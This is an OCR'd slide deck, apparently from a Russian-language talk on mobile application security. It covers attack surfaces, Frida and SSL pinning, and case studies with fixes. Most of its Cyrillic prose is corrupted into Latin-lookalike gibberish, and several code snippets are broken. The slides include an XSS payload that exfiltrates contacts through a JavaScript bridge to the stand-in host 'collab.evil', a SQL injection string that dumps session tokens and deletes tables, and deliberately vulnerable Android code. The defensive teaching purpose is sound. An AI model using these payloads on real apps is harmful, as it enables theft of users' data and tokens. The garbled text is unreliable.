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KrnoyeBble TeMbl

[Tovemy C 4ero Ha4nHaeTcH Kakne yassmnmocTtu
6e30nacHOCTb B3nOM noboro BCTpeYaroTCsa 1 Kak
NPUNOXEHUN — MOOUITbLHOrO OT HMX 3aWMUTUTLCA

3TO BAXHO NPUNOXXeHUn4A



[Toyemy be3onacHOCTb
NPUNOXEHUN —
9TO BaXHO

CMOTPMM Ha NPUSIOXKeHNEe
C TOYKM 3peHust bBusHeca
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Puckn kKomnaHnum ns-3a ya3BMMOCTEN

YTeuKn NHTennekTyanbHou

durHaHCcoBbIE NOTEPU
CcOOCTBEHHOCTU

YTeukun 4yBCTBUTENBHON

PenyTaumnoHHbIV yepb MHOpMaLum

KOpuaundeckmne nocneacTeus

N WwTpadbl perynsaTtopos:
WTpadbl no 152-03
LWTtpadbl no Ykasy lNpeangeHta Ne 250
Moteps cepTudmkaummn HCIK

MoTepst KNMMEHTOB U NAapTHEPOB



CTtaHaoapThbl




TepmuHonorua kKnbepbesonacHoCTH

YaszsumocTb (vulnerability)

HepocraTok cucTeMbl, KOTOPLIN
3/10YMbILLUITEHHNKN MOTYT
MCMonb30BaThb AN HAHECEH A
yuwiepba

Yrpo3sa (threat)

[NoTeHumanbHoe codbbiTne
U gencreume, cnocobHoe
HaHecTu Bpen,

Puck (risk)

BepoaTHOCTb HacTynneHus
Yyrpo3bl C y4ETOM YSA3BUMOCTU
N BO3MOXHOTO yLiepba

HepoueT (weakness)

Hepouet nnun orpaHndeHmne,
CHWXaroLlee yCTONYNBOCTb
CUCTEMbI K aTakam



BaXHO y4uTbiBaTL

CTtaHgapTbl cO34aHsbl

ANS YMeHbLUEHNS KonnyecTBa
cnabocten (weakness) u 4acto
HanpasneHbl Ha MUHUMKU3aLUUIO
PUCKOB, a HE MOSHYI0 3almTy

CnepoBaHue cTaHaapTam
npu paspaboTke

He rapaHTupyert, YTo .
B NPUNOXeHUn He byaet TR sty
YA3BMMOCTEWN .



Knaccudpumkauma ya3sMmMocTen

0-click

[ns akcnnyatauum
YSI3BUMOCTU

OT nornb3oBarenst
He TpebyeTcs
HUKaKUX 0EencTBUN

1-click

Ons skcnnyaTtaumm
Heobxoanmo, YTOObI
nonb3oBaTenb
COBEpLUNT 0QHO
AeicTBue: nepeLuen
Mo CCbIfKe, OTKPbIN
BIOXKEHME U T. 1.

Malware app

[ns akennyaTtaumm
Heob6xoanMo, YTOobbI
nons3oBaTenb
yCTaHOBWI Bpeno-
HOCHOE MPUIOXeHe,
KOTOpOE UCnonb3yeT
ySI3BMMOCTb B pYrom
NPUNOXEHUN

MITM

Onsa skcnnyaTtaumm
Heob6xoanmo, YToObbI
3710y MbILLNIEHHWK
peanusoBan aTtaky
man-in-the-middle

N MOT KOHTPONMPOBAaTb
ceTeBOM TpadomK

dusnyeckumn
aoctyn

Ans akennyataumm
yS3BUMOCTU

310y MbILLUNIEHHUKY
Heobxoanm
dounsnyecknn goctyn
K YCTPOUCTBY
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C yero HauymHaeTcs
B3J1OM NOOOIo
MOOUBbHOIO

MPUNOXeHns

PaccMoTpuM C TOYKN 3peHNS
aTaKyrLLero




C 4yero HauymHaeTcs B3/10M nodoro
MOOUMBHOIro NPUNOXEHUS

12



C 4yero HauymHaeTcs B3/10M nodoro
MOOUMBHOIro NPUNOXEHUS

[lekoMnunaumst nnu
ansaccembnmpoBaHue
APK/IPA

13
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> (71 AbstractCe4e3c
> 1, Cedola

> ) InterfaceC@402b
m A2

n a2

m A3

bm a3

bm A4

Im a4

Em A5

> @a

> @b
> @&c
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> Qe
Em a5
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= A8
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m A9
m Aa
= aa
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= Ad
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Em Ae
b ae
Em AT
Im af
Bm Ag
bm ag
Em Ah

=« C0411b =0 1 » C0401a () AbstractCe403c () InterfaceC0402b s @
1 | package AS;

p

3 | import androidx.datastore.preferences.protobuf.0;

4 | import kj.AbstractC1332i;

5 | import wl.g;

6 | import y5.C2467d;

7

8 | /* loaded from: classes.dex %/

9 | public final class f§ {

10

11 /% renamed from: l, reason: collision with root package name */
12 public final double f253a;

13

14 /* renamed from: b, reason: collision with root package name */
15 public final float f254b;

16

17 /* renamed from: c, reason: collision with root package name */
18 public final C2467d f255c;

19

20 /* renamed from: d, reason: collision with root package name */
21 public final float f256d;

22

23 /% renamed from: e, reason: collision with root package name */
24 public final fleoat f257e;

25

26 /% renamed from: f, reason: collision with root package name */
27 public final float f258f;

28

29 /% renamed from: g, reason: collision with root package name */
30 public final float f259g;

31

32 /% renamed from: h, reason: collision with root package name x/
33 public final int f26@h;

34 public final int i;

35 public final int j;

36

37 /% renamed from: k, reason: collision with root package name x/
38 public final int f261k;

39
40 public H(double d1@, float f3, C2467d c2467d, float f1@, float f11, float f12, float 13, int i, int il@, int il11, int i12)
41 this.f253a = d10;
42 this. f254b = f3;
43 this. f255¢c = c2467d;
44 this.f256d = f10;
45 this.f257e = f11;
46 this. f258f = f12;
47 this.f259g = f13;
48 this.f260h = i;
49 this.i = i10;

50 this.j = il1;

51 this. f261k = i12;

5 }




C 4yero HauymHaeTcs B3/10M nodoro
MOOUMBHOIro NPUNOXEHUS

[ekomMnunaumns nnm 3anyck npunoxeHus
amsaccemonupoBaHue Ha YCTpOWUCTBE
APK/IPA c root/jailbreak

Ob6dyckauma koaa

15



Mpuno>xeHne He MOXKeT 6bITb
3anyLLeHo

Ha ycTpoicTBe ycTaHOBMEHbI root-npasa nnu
MoanduLmMpoBaHa ornepaLuoHHasa cuctema. B uensax
3alUNTbl AAaHHbIX AOCTYN K MPUSIOXEHUIO 3aKPbIT

16



C 4yero HauymHaeTcs B3/10M nodoro
MOOUMBHOIro NPUNOXEHUS

[lekomnunsaumsa nnm 3anyck NpunNoXxeHus

ansaccembnunpoBaHue Ha YCTpOWUCTBE

APK/IPA c root/jailbreak
Ob6dyckauma koaa [MpoBepKa OKpPY>KEHWS

nepen 3aryckom

[TonbITKa BbINOMHUTL
MITM-aTaky

N NpoaHanu3npoBaThb
TpadmK NPUIIOXKEHNA

17



No Internet
Connection

Ploase check your internet connection

and tty again

TRY AGAIN




C 4yero HauymHaeTcs B3/10M nodoro
MOOUMBHOIro NPUNOXEHUS

[lekomnunsaumsa nnm 3anyck NpunNoXxeHus

ansaccembnunpoBaHue Ha YCTpOWUCTBE

APK/IPA c root/jailbreak
Ob6dyckauma koaa [MpoBepKa OKpPY>KEHWS

nepen 3aryckom

[TonbITKa BbINOMHUTL
MITM-aTaky

N NpoaHanu3npoBaThb
TpadmK NPUIIOXKEHNA

SSL pinning

19



Tenepb Mbl
B be3onacHocTn?

20



Tenepb Mbl B 6e30nacHOCTU?

Ecnun KopoTko — HeT

FAIDA vl I T EC TN

= RLINTIME
Ll MOEILE
RER EIPLORATION

GIT.I0SO0BTELTION

DYNAMIC INSTRUMENTATION TOOLKIT

1D

"

APKLab




KOMMOHEHTHI
NOBEPXHOCTU aTaKku

ToYkn BXxoaa
01151 aTaKyoLLEero:

« CeTeBoe B3aumoaencTame

» MexnpoueccopHoe
B3aMMOOeNCTBne

* WNHTepdeincnbl
NoJf1Ib30BaTEbLCKOro BBOAA

» [laHHble 63KanoB

HTTP Connection

Request
@] et > [
-1 Response l'__Q
< ______________________
Client TCP Connection Server

\' <  PepaktuposaHue 35

15.01.2019 22:58

Intent
(with data)

He paBoTtaeT pasbem

kN

app1 app2

N—71

Link
(with data)

3afaya|

G 3agava 3agavyamu | 3apgavyam \'J

||||||

G bl B anponasygxa

a4y CcMUMT B B G



O-click

[na skcnnyaTtaumm yasBuMoCTU
OT nornb30BaTens He TpebyeTcs
HUKaKUX OENCTBUA

23



O-click
(native library)

CVE-2019-11932 — decoding.c
(a stack-based buffer overflow)

CVE-2020-8899 — Quram gmg library
(buffer overwrite vulnerability)

CVE-2020-1895 — libjpeg-turbo
(an integer overflow)

CVE-2023-41064 — ImagelO
(a buffer overflow)

CVE-2025-43300 — RawCamera.bundle
(an out-of-bounds memory write)




O-click B gpyrnx cny4daax

class FirebaseMessagingService : FirebaseMessagingService() {
override fun onMessageReceived(remoteMessage: RemoteMessage) { ‘

val url = remoteMessage.data["config_url"
if ('url.isNullOrEmpty()
enqueueDownloadWorker(url)

private fun enqueueDownloadWorker(url: String) {
val workRequest = OneTimeWorkRequestBuilder<DownloadAndExtractWorker>
.setInputData(workDataOf("url" to url)
.build
WorkManager.getInstance(this).enqueue(workRequest

25



Zip Slip

ZipFile(zipFile).use { zip -
zip.entries().asSequence().forEach { entry -

val outputFile = File(targetDir, entry.name)

if (entry.isDirectory) {
outputFile.mkdirs()

} else {
outputFile.parentFile?.mkdirs()

zip.getInputStream(entry).use { input -
FileOutputStream(outputFile).use
input.copyTo(output)

output -

26




XoO aTaku

Attacker - server — firebase

app — workManager - server -file-
worker -!- — file extraxt

O-click Zip Slip - dynamic load

lib rewrite - 1-click open app

o)
A\
.



1-click

[na akcnnyaTtaumm Heobxogmmo,
YTOObLI MOJSIb30BAaTESNb COBEPLUNI
OAOHO OencTBue: nepeLlern

MO CCbIJIKE, OTKPbLIT BIIOXXEHME WU T. .

28



1-click-yassmumocTu

YacTo nonagatotcs
B pearibHOW >XU3HU

MoryT ObITb CBA3aHbI Kak

C HEKOPPEKTHOW (punbTpaumnen
BXOOHbIX JaHHbIX OT cepBepa,
Tak U ¢ MnckoHgurypauyusamm IPC

akecnnyaTnpyoTcs Yyepes
doYHKLMIO B3aMMOOENCTBUA
C nonb3oBaTenem

MoryT akcnnyaTtMpoBaTbCA
«B OUKOW npupoae»

29



Keunc c Kpaxeun TokeHa 4Yepes deeplink

<activity
android:name=".PreviewActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>

<category android:name="android.intent.category.DEFAULT"/>

<category android:name="android.intent.category.BROWSABLE"/>

<data android:scheme="app" android:host="preview" />
</intent-filter>

</activity>

30



Keunc c Kpaxeun TokeHa 4Yepes deeplink

private fun loadPdf(url: String, pdfView: PDFView) {
val token = getSharedPreferences("auth", MODE_PRIVATE)
.getString("session", "") ?2: ""
Request.Builder()

val request =
Lurl(url)
.header (
build()
OkHttpClient().newCall(request).enqueue(object : Callback
override fun onResponse(call: Call, response: Response) {
val pdfBytes = response.body?.bytes()

"Authorization", "Bearer $token")

31



Keunc c Kpaxeun TokeHa 4Yepes deeplink

private fun loadPdf(url: String, pdfView: PDFView) {
val token = getSharedPreferences("auth", MODE_PRIVATE)
.getString("session", "") ?2: ""
Request.Builder()

val request =
.url(url)
.header (
build()
OkHttpClient().newCall(request).enqueue(object : Callback
override fun onResponse(call: Call, response: Response) {
val pdfBytes = response.body?.bytes()

"Authorization", "Bearer $token")

32



Keunc c Kpaxeun TokeHa 4Yepes deeplink

I'Ip|/|no>|<eHMe MOXET ObITb 3anyuweHo 4Yepea3 CCbIJIKY TUuna.

Ecnu xxepTBa no Hen nepenaeT, TO NoTepseT CBOMN akKayHT

c ® 127.0.01

Capture Flow List Options Flow

cC @& 9 w J < O > x
Replay Duplicate Revert Delete Marks Download Export» Resume Abort
Flow Modification Export nterception
Path Method Status Size Time © | Request | Response Connection Timing Comment

__| http:/f127.0.0.1:8123/green. pdf GET 200 LI GET http://127.0.8.1:8123/green.pdf HTTP/2.0

content-type: application/json

user-agent: Android 13; | HE

authorization: Bearer

eyJhbG: 1eHA10j E3ND Q50TAWODY ]
50X21k RjZi0ONWRiL GIrZWSTZ( 3V
Udhbnh iThrUzNhTwWSp, 1b190YXNol 3L
amanonT ko VA C e PR S MBS L. i arEanaA "

accept-encoding: gzip 3]

No content ZEdit  LReplace | (2] View: auto ~



PelwleHune

<activity
id:name=".Pp
old:exported="false":
<intent-filter>
<action android:name="and
<category android:name="android.intent
<category androld:name="andnr
<data android:scheme="app'
</intent-filter>

<factivity>

* He akcnopTupoBaTb akTUBHOCTU 6e3 HEODX0aNUMOCTH



PelwleHune

<activity
android:name="_.PreviewActivity
android:exported="true"=>
<intent-filter android:avtoVerify="true">
<action android:name="androld.1lnte
<category android:name="androld.intent.cateqo
<category android:name="android.intent.cateqo
<dataandroid:scheme="https" android:host=
</intent-filter>

<factivity>

* WcnonbsosaTtb app link / web link ¢ intent-filter (c atpnbytamm scheme n host)



PelwleHune

loadPdf (url: String, pdfView: PDFView) {
if (!isInWhiteList(url)){
throw MySecurityException

token = getSharedPreferences('auth", MODE_PRIVATE)
.getString("session", "") ?: ""
request = Request.Builder()

Lurl(url)
.header ("Authorization", "Bearer $token")
.build()
OkHttpClient().newCall(request).enqueuel : Callback
override fun onResponse(call: Call, response: Response) {
val pdfBytes = response.body?.bytes()

« Banugmnposatb hostname nepep obpalleHnem



PelwleHune

loadPdf(url: String, pdfView: PDFView) {
requestBuilder = Request.Builder()

if (isInWhiteList(url)) {
token = getSharedPreferences("auth", MODE_PRIVATE
.getString("session", "") ?: ""
requestBuilder
url{url
.header("Authorization", "Bearer $token"
} else {
requestBuilder.url(url

request = requestBuilder.build()
OkHttpClient().newCall(request).enqueue( : Callback

override fun onResponse(call: Call, response: Response) {
val pdfBytes = response.body?.bytes()

« [loacTtaBnaTb aBTOPU3aALMOHHbIE JaHHbIE TOMNbKO
npy obpalleHnn K AOBEPEHHbIM XOCTam



Keunc Javascriptinterface n XSS

38



Keunc Javascriptinterface n XSS

getLocation(): String {
location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER)
return "${location.latitude}, ${location.longitude}"

(): String {
if (ContextCompat.checkSelfPermission(context, d: != PackageManager.PE

1 contacts
L cursor =

ContactsContract.Contacts.

)
cursor?.
while (it.moveToNext()) {
val name = it.getString(
it.getColumnIndex(ContactsContract.Contacts.
)

contacts.append("$name\n

contacts.toString() .1

39



Jkcnnyaraums

onload='document.write("<br><br><h1>XSS</h1><br><br>" +

Androidinterface.getContacts().replace( ,"<br>"))'

fetch("http://"collab.evil"/callback?xss="
+btoa(Androidinterface.getContacts()),

{method:"GET ,mode: no-cors’})

XSS

Extra

lNoxapHble
Monunums

Ckopas NMomolupb
TenedoH [loBepusa

40



PelwleHune

val webView: WebView = WebView(contex).apply {

gAY T
—r|||||| el

i cr J_J'_:l r_ E

«  OTknounTb NOAAEpPXKy JavaScript Tam, rae BO3MOXHO



PelwleHune

Response

Pretty Raw Hex Render

HTTP/1.1 200 OK

Server: nginx/1.25.4

Date: Wed, 12 Nov 2025 12:10:52 GMT

Content-Type: text/html

Content-Lenath: 75975

Content-Security-Policy: default-src 'none'; script-src 'self'; style-src
'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src
'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src
'none'; manifest-src 'self'; frame-src 'self'; upgrade-insecure-requests;

Last-Modified: Tue, 02 Apr 2024 20:50:33 GMT

Connection: keep-alive

ETag: "660c6f99-128c7"

Accept-Ranges: bytes

 BHegputb nonutukmn CSP B paboTy canTa



PelwleHune

[MpoBepsATb, AEUCTBUTENBHO NN
HYXHbl T€ UNU UHble NHTepdEencChI
N KaKne PUCKU MOXET HECTU UX
MCnonb3oBaHne

[MpoBeCcTn aKkpaHMpoBaHME
cneucmnmBosioB Ha frontend
(HTML-koguposanne/DOMPurify)




Malware app

[ns akcnnyaTauum HeobXxoanmo,
4TOObI MONb30BAaTENb YCTAHOBUI
BPEAOHOCHOE MPUNOXKEHWE,
KOTOPOE UCMONb3YEeT YA3BUMOCTb
B APYroM MPUIoXXeHUM

44



YA3BUMOCTU C BEKTOPOM malware app

OTKyna 6epyTca:

* lcnonb3oBaHue CTOPOHHUX
MarasnHOB NPUSTOXEHUN

* YcTaHoBKa NMpaTCKoro
NN B3fIOMaHHOro copra

Kak ncnonb3sytorcs:

B aTakax c npumeHeHnem
couunarnbHON UHXEHEPUKU, HanpumMmep
npu JoCTaBKe BPEOOHOCHbIX
NPUITOXEHUN Yepe3 MeCCeHIKepbl

[Mpun akcnnyaTtauum ya3smmMmocTen
OC nnu marasmHoB MPUNOXeEHUN

45



Kenc ¢ App link / web link

€0
[{
“relation"”: ["delegate_permission/common.handle_all_urls"], ~
“target": {
“namespace": "android_app", We b | I n ks
“package_name": "com.example.puppies.app"”,
“sha256_cert_fingerprints":
["14:6D:E9:83:C5:73:86:50:D8:EE:B9:95:2F:34:FC:64:16:A0:83:42:E6:1D:BE:AB:8A:04:96:B2:3F:CF:44: Handle HTTP / HTTPS schemes
}
o
{
“relation"”: ["delegate_permission/common.handle_all_urls"],
“target": {
“namespace”: "android_app",
“package_name": “com.example.monkeys.app"”,
“sha256_cert_fingerprints":
[“14:6D:E9:83:C5:73:06:50:D8:EE:B9:95:2F:34 :FC:64:16:A0:83:42:E6:1D:BE:A8:8A:04:96:B2:3F:CF:44:
+
1

46



Kenc ¢ App link / web link

adb shell pm get-app-links <package-name> ‘

com.test.myapplication:
ID: b60b2c3a-6663-4b35-91ce-43d88e14661b
Signatures: [C4:A3:73:59:0C:E5:2D:C8:7A:F6:DD:8E:43:50:F1:D0:E1:09:0A:F0:0D:33:39:2D:AB:C1:C3:E7:58:D9:1F:9A]

Domain verification state:
bi.zone: none

47



Kenc ¢ App link / web link

<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.BROWSABLE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="https"/>
<data android:host="vulnerable-host.ru"/>
<data android:pathPrefix="/edit_password"/>

</intent-filter>

onNewIntent({intent: Intent?) {
per.onNewIntent (intent)
t?.let { handleDeepLink(it) }

fun Link{intent: Intent) {

L url = data.teString
val urlTextView = findViewById<TextView=(R.id.urlTextView
urlTextView.text = "Deep Link URL r

48




App link /
web link

Deep Link URL: ‘edit_password/cQ|
Oby TyL_vimjjra0

Open with

(] Weblink test

i) WebView Browser Tester

JUSTONCE  ALWAYS

49



PelwleHune

ivity

androlid:name=".FreviewA

android:exported="true
<intent-filter android:avtoVerify="true">
<action androld:name="androl

<category and

<categonry
<data andr

<fintent-filter>

<factivity>

id :name="andro
name="andro

id:scheme="https

Ncnonb3oBaTtb app link



PeweHune

adb shell pm set-app-links --package <package-name> 0 all
adb shell pm verify-app-links --re-verify <package-name>
adb shell pm get-app-links <package-name>

ru.vk.store:
ID: 545c9503-27ad-4106-b11e-879409f7911b
Signatures: [66:1F:20:82:8E:F7:80:DE:0B:79:BC:59:F2:6A:30:86:43:16:35:5F:30:E4:F9:1C:FA:14:A2:07:91:83:99:14]
Domain verification state:
yxd97a37b853¢343faa960947613be7f12.0auth.yandex.ru: verified
gr.vk.ru: verified
adv.rustore.ru: verified
qr.vk.com: verified
www.rustore.ru: verified
apps.rustore.ru: verified

» [lpoBepaTb akTyanbHOCTbL .well-known/assetlinks.json



PelwleHune

Request

Pretty Raw Hex X 3 Wn

1 GET /reset_password?secret=NTM3NTUwNjU1MjczNDU2MzUyNjUINDMxMzkzMjM5MzIzMTMxMzQ=&user_id=100 HTTP/1.1
2 Host: myfest.ru
3 User-Agent: Mozilla/5.@ (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0
Mobile Safari/537.3
Accept: x/x*
Accept-Encoding: gzip, deflate, br

Request
Pretty Raw Hex X 5 n =

1 POST /reset_password HTTP/1.1
2 Host: mytest.ru
3 User-Agent: Mozilla/5.0 (Linux; Android 1@; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0
Mobile Safari/537.3
Accept: *x/*
Accept-Encoding: gzip, deflate, br
Connection: i
Content-Typ application/x-www—form-urlencoded
Content-Length: 71

secret=NTM3NTUwNjU1MjczNDU2MzUyNjUINDMxMzkzMjM5MzIzMTMxMzQ=&user_1d=100

* [lo BO3MOXXHOCTU n3beratb nepegadn KpUTUHHOMN
nHpopmaummn yepes cebinkm n GET 3anpocsl
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Keunc ¢ Exported Content Provider

android:name=".NotesProvider"

android:authorities="com.app.mobius.n

<intent-filter>
<action android:name="com.app.mobius.GET_CONTENT" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="@string/app_scheme" />
<data android:host="@string/app_host"/>

</intent-filter>

</provider>
</application>
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Kenc ¢ Exported Content Provi

uri: Uri,
projection: Array<String>?,
selection: String?,
selectionArgs: Array<String>?,
sortOrder: String?
Cursor? {
1 db: CipherSQLiteD base = dbHel .getReadableDatabase (DB

L queryBuilder = SQLiteQueryBuilder()

queryBuilder bles =

var finalSelection = selection
var finalArgs = selectionArgs

L cursor: Cursor? = if (finalSelection != null) {
if (finalArgs != null) {

selectionStr = finalSelection
(arg in finalArgs) {
selectionStr = selectionStr? pE (S $arg'")

}

db.rawQuery( FROM WHERE $selectionStr", r
{

db. rawQuery ( t RE $finalSelecti

db.query("no , projection, null

er
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Exploit koa

val uri = Uri.parse("content://com.app.mobius.notesprovider/notes") ‘
val projection = array0Of("_id", "title", "content")
val selection = "1 != 1 UNION SELECT 1, username, token FROM sessions; DELETE TABLES sessions; ——

contentResolver.query(uri, projection, selection, null, null)?.use { cursor -
val idCol = cursor.getColumnIndexOrThrow("_id")
val titleCol = cursor.getColumnIndexOrThrow("title")
val contentCol = cursor.getColumnIndexOrThrow("content")
val view: TextView = findViewById(R.id.textV)

while (cursor.moveToNext()) {
val id = cursor.getLong(idCol
val title = cursor.getString(titleCol
val content = cursor.getString(contentCol
Log.d("ProviderClient", "Note $id: $title -> $content"
view.text = "$content"
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PelwleHune

<provider
android:name=".
android:authorities="caor
android:exported="false">
<lntent-tilter>
<action an id:name="com.app.mobivs.G
ld:name="androld. intent

<data android:scheme="@string/app_scheme"/:

<data android:host="@string/app_hos
</intent-filter>
</provider>

* ﬂBHO(HpaHMHMBaﬂDSKCHOPTMpyeMOCTbKOMHOHeHTOB;



PelwleHune

tion: Array<String>?,
: String?,
ionArgs: Array<sString>?,
ortOrder: String?
): Cursor? {
val db: CipherSQLiteDatabase = d etReadableDatabase(DE

val queryBuilder = SQLiteQueryBuilder()

| cursor = queryBuilder.query(

selectionArgs
null,

null,
sortOrder

* lcnonb3oBaTb napameTpmn3oBaHHbIE 3anpocChl



Keuc c Intent redirection

class ManagementActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val incomingIntent = intent
if (incomingIntent.getStringExtral( "specific_key") != null) {

val redirectIntent = incomingIntent.getPareetabtebxtra<Intent>(

if (redirectIntent != null) {

startActivity(redirectIntent)
¥
finish()

"next_intent")
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Kpaxxa aBTOpOTaLMOHHOIo TOKEHa

c @& ko] a > x

Replay Duplicate Revert Delete Marks Download Exports  Resume Abor

Flow Modifation Export tercept
Path Method Status Size  Time | © [Request| Response Connection Timing Comment

| nipinzzoarsrasimsenset GT 0 156 ams ErEm— T reeair (XITT .S

content-type: application/json

Intent

~ use-agen: Androsa 13; e S

[ authorization: Bearer
et Lnioje asorhwony ,.
5012 U Goraisrzc w
b S— U
oo encoing: 01 5
oo | St | Vit -

Malware app Target app



[lepe3anncb Npon3BONbHbLIX hanfioB

alware app

Intent

Target app

total 15264
ud_az2il
system
ud_az2i1
ud_a2il
drwxrws--x ulb_a211_cache

drwxrws--x ud_a2i1_cache
drwxrwx==x ud_azil
=IrwW-rw-rw- ud_az2il
drwxrwx--x ud_az2il
ud_az2il

3452
53248
3452
3452
3452
3452
3451
15544842
3452
3452

2025-10-30
2025-10-29
2025-07-28
2025-10-28
2025-10-28
2025-07-28
M5 -1M-1R
2025-10-30
2025-10-28
2025-07-28

app_textures
app_webview
cache

code_cache

filec
libevilnative.so
shared_prefs
utils




PelwleHune

ManagementActivity : Activity() {
onCreate(savedInstanceState: Bundle?) {
.onCreate(savedInstanceState

incomingIntent = intent
incomingIntent.getStringExtra( name: "specific_key") !=

rawRedirect: Intent? = incomingIntent.getParcelableExtra(''next_intent")
safeRedirect = IntentSanitizer.sanitize(rawRedirect)

if (safeRedirect != ) {
startActivity(safeRedirect)
} else {
Log.w("ManagementActivity", "Blocked unsafe redirect intent")
}
finish()

* Wcnonb3oBaTb knacc IntentSanitizer 4na o4MUCTKM CTOPOHHUX intent



https://developer.android.com/reference/kotlin/androidx/core/content/IntentSanitizer?_gl=1*1g0srk4*_up*MQ..*_ga*MTgyNzUyNzU0MC4xNzYwNDkzMzI2*_ga_6HH9YJMN9M*czE3NjA0OTMzMjYkbzEkZzAkdDE3NjA0OTMzMjYkajYwJGwwJGg3NDYzNTIzMTE.

PelwleHune

<permission

d:label="[@string/perm_label'
d:description="@string/pers

<application

<activity
android:name=".ManagementAl
android:exported="true
android:permission="com

« Wcnonb3osaTb permission c protect level signature ons
CUCTEMHbIX KOMMNOHEHTOB



dPusnyeckKkmn
AOCTYyN

[na akcnnyaTtaumm ya3BMMoOCTuU
3r10YMbILLNEHHNKY HeoDXxoaum
domanyeckm JocTyn K yCTPOUCTBY

65



JlokanbHaa aBTOpM3aLMna

NMpoGnembl

HeT cyeTynka HEKOPPEKTHOro BBOAA
NNH-kopa

CueTumk XPaHUTCA TOJIbKO B NaMATU Mpo

[Mpw NpeBbILLEHUN CHETUYMKA AaETCH
delay no BpeMeHu Ha KIMeHTe

He otcnexunBaetcsa nsmeHeHune keychain
Npv aBTOpPM3auumn No GUuomeTpumn

PeweHus
O BHeﬂpI/ITb CcCYHeTHYUK Konm4yecTBa MNorbITOK

+ CoxpaHaTb cyeTumk B keychain/keystore
B 3alUnpoBaHHOM Buae

° HaCTpOVITb aBTOMaTU4eCKUIN BbIXO
N3 akKayHTa rnpu rnpesblilUeHN
KOJIn4eCTBa MNoribITOK

 OTcnexuBaTtb U3MEHEHNE
BrMoOMETPUYECKMX OAaHHbIX
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OCHOBHbIe BbIBOAbI

YA3BMMOCTEN MHOIO, Mbl
paccMoTpenn N1Mb Mmasyro 4acCTb

CTaHﬂ,aprl nomMoraroT,
HO HE rapaHTUPYOT NOJTHYHO 3allnTy

Yek-nMcToB HEOOCTATOYHO —
Ba)KEH aHanu3 Koga un MblLUIEHNSA
aTakyoLero

PerynsipHble ayanTbl KpaHEe BaXKHbI
ana 6esonacHoCcTH

Hy>xHO npuaepxunBatbcsa NpuHUMNa
Secure by Design: doyHoameHT
©e3onacHOCTU 3aKnagbiBaeTcH

Ha 3Tane NPOeKTUPOBaHUA
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lMone3HoO noyuTtaTtb

OWASP Mobile Application Security
Testing Guide (MASTG) ‘

OWASP MASVS
(Mobile Application Security Verification Standard)

Mobile Hacking Lab
Frida Labs



https://mas.owasp.org/MASTG/
https://mas.owasp.org/MASTG/
https://mas.owasp.org/MASVS/
https://mas.owasp.org/MASVS/
https://www.mobilehackinglab.com/free-mobile-hacking-labs
https://github.com/DERE-ad2001/Frida-Labs

Cnacnbo 3a BHUmMmaHume!

Cepreu
ApedbeB
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